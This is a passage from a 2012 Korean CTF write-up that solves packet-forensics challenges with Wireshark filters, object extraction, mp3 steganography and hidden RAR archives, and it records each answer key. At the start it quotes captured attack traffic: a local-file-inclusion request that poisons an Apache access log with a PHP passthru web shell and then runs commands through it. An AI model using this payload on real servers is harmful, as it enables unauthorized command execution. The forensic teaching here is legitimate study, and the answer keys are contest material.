tcp.stream eq 88 index.php?cmd=cd%20secret%26type%20hiden.txt&page=..serverapachelogsaccess.log%00<?passthru($_g ET['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00apachelog [ hiden.txt APACHELOG 9bytes ] tcp.stream eq 89 index.php?cmd=cd%20secret%26type%20pass.txt&page=..serverapachelogsaccess.log%00<?passthru($_ge T['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00injection [ pass.txt INJECTION 9bytes ] 인증키에포함되는 secret.txt hiden.txt pass.txt 파일의내용을모아보면 NOOPEN APACHELOG INJECTION 이된다. NOOPEN_APACHELOG_INJECTION Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 18

5) M5 <Q> 메일사용자계정과패스워드가 IRC 봇에감염되어유출됐다. <EQ> mail account and password leak by infected IRC bot. Key is password ( 중략 ) tcp.stream eq 20 Filter 를보면 shadowbot 을이용하여감염된것을확인할수있다. good_bye_jobs Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 19

3. [High] 난이도 1) H1 <Q> 이메일을통해 jitae 의첫번째데이트기밀정보를입수하는데... 하지만내용없이파일만첨부되어있었다. 데이트장소는언제몇시에어디인가? <EQ> SOMEONE GOT A SECRET INFORMATION OF jitae s FIRST DATE VIA E-MAIL. BUT THRER IS ONLY ONE ATTACHED FILE WITH NOTHING. WHEN AND WHERE? HTTP objects 를보면 DAUM 이메일에관련된 object 가있다. 1923 번 packet 의 object 는 HTML 페이지이고, 2096 번 packet 의 object 는 mp3 파일이다. ViewMail.daum 파일을열어보면내용없이 promise.mp3 파일만첨부되어있었다. 그리고추출한 object 중 mp3 파일을들어보니 개똥이네버블버블 (;;;) 이라는의도를파악할수없는소리만들렸다. GoldWave 를이용하여 Spectrum 을분석해보기도했는데수상한흔적을찾을수없었다. 그러던도중힌트가나왔다. 스테가노그래피 를보고 mp3 Steganography 임을파악하여, 예전부터잘알고있고 사용해봤던툴인 mp3stego 를이용하였다. [http:www.petitcolas.netfabiensteganographymp3stego] Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 20

Decode.exe 를이용하여 Decoding 하는데 Steganography Key 가필요했다. Key 는문제지문에있는 jitae 일것 이라고생각하여이를이용하여 Decoding 하였다. 결과파일로 promise.mp3.txt 파일이추출되고텍스트파일의내용에데이트장소와시간이나와있었다. sunday, 14:00, GangNam station Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 21

2) H2 <Q> 수학을공부하던꼬비는잠이들었는데, 공식이다른이상한글자들로바뀌어있는꿈을꾸게되었다. <EQ> GGOBI went to sleep in studying math and had a dream that the function replaced with strange words. TCP stream 을살펴보면 FTP(File Transfer Protocol) 를이용하여 Math.part1.jpg, Math.part2.jpg, Math.part3.jpg 파 일로통신하는것을확인할수있었다. 해당파일들은각각아래의 Filter 를이용하여파일을추출할수있었다. [ tcp.stream eq 13 (Math.part1.jpg) tcp.stream eq 14 (Math.part2.jpg) tcp.stream eq 15 (Math.part3.jpg) ] 3 개의파일이추출되었는데해당 JPG 파일 trailer 부분에는 Rar! 로시작하는 RAR 압축파일의 header 가보였다. 총 3 개의 RAR 압축파일을추출하였고, part1, part2, part3 을보아분할압축파일로추측하였다. 압축을풀면총 6 개의한글파일 (hwp) 이추출된다. 6 개의파일중 cp 가붙은것은복사본으로생각하고무시하고, 공통수학정리.hwp 파일이끌려서열어보았다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 22

PoWeR eye-grep(!) 으로 4 페이지의오른쪽다단에있는키값을찾았다. <3y = (47( - _Y0ur_Dr34m 하지만인증이안되길래 Facebook 메시지를통해물어보니 Y0ur_Dr34m 만최종인증키라고하였다. Y0ur_Dr34m Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 23

3) H3 <Q> 우태혁의여자친구이름은무엇이고, 어디에살고있는가? <EQ> What is the name of Woo Tae Hyuck s girl firend, and where she is? (Key Format :: Woo Tae Hyuck_Hanla Mountain) tcp.stream eq 40 Filter 를보니 NetMeeting 으로통신한것같은흔적이남아있었다. Kim Ha-Neul 이라는여자 친구이름과, Dokdo_island 라는지명을찾았다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 24

대회진행당시에문제를풀때는여자친구이름만찾고독도를찾지못했는데 BinText 를이용하여우연히 Dokdo_island 를쉽게찾아서인증했었다. Kim Ha Neul_Dokdo island Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 25

4) H4 ( 공개된풀이 ) <Q> 무슨동물좋아하니? <EQ> What kind of animal do you like? download_file_ft.py%3fsignature=7052409185991974527758779820233145348370588523976395987013438603317 697410636216064523291180329504793631926467978999&time=1320220728&username=wootang87&fileid=005 8478319&error_cb=http%3A%2.com HTTP objects 중에서위의파일명을가진파일을추출하고 signature 를보니 JPG 파일이었다. word.jpg 파일이었는데, 대회종료후 http:fb.comhackthepacket 을통해풀이방법을알게되었다. 사실무작 위로 MAMMALS, SCORPION, DOG, SNAKE, ANUBIS 등을시도하고 HTP 의토끼캐릭터가생각나서 RABBIT 도시 도해보았지만 BUNNY 일줄은 T_T BUNNY Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 26

5) H5 <Q> 네이트온사진함께보기를통해, 우탱이는어떤수학문제를알게됐을까? <EQ> What does Wootang get a mathematical problem via the function of sharing the picture on NateOn? 정답은수학문제를푼값입니다. The answer is the right value solving the math. tcp.stream eq 75 Filter 를보니위의 stream 처럼 NateOn Protocol 을이용하여 JPG 파일이송수신된것을확인 할수있다. 추출한이미지를보니약간깨져있었다. eye-forensics SKILL 을발휘하였다. [What is the perimeter of the rectangular field? 둘레의길이를구하시오.] 두뇌풀가동 (!) 으로열심히둘레를구해본결과 (5+8+7)+(5+8+7) = 40 40 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 27

Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 28